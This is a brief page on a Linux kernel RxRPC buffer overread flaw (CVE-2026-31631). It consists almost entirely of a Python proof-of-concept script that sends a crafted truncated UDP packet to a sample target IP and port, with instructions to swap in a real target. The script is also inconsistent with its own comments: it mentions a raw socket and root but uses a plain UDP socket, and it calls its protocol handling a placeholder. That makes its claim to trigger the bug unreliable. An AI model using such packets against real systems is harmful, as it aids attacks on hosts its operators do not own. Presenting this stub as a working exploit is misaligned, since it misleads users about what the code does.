CVE-2026-31631 Linux内核RxRPC缓冲区越界读取漏洞

# PoC Conceptual Code for CVE-2026-31631 # This script demonstrates how to send a malformed packet to trigger the buffer overread. # Note: Actual exploitation requires the target to have RxRPC listening. import socket import struct def send_malicious_rxrpc_packet(target_ip, target_port): """ Sends a crafted packet targeting rxgk_do_verify_authenticator. The packet is truncated to trigger the read check before size check. """ try: # Create a raw socket (requires root privileges) # Protocol number for RxRPC might vary, using UDP as a placeholder for conceptual logic sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Malformed payload: Too short to contain the nonce, but structured to pass initial checks # This simulates the condition where buffer size is smaller than expected. payload = b'\x00' * 10 # Truncated authenticator print(f"[*] Sending malicious packet to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Packet sent.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and Port target = "192.168.1.10" port = 7000 # Example port send_malicious_rxrpc_packet(target, port)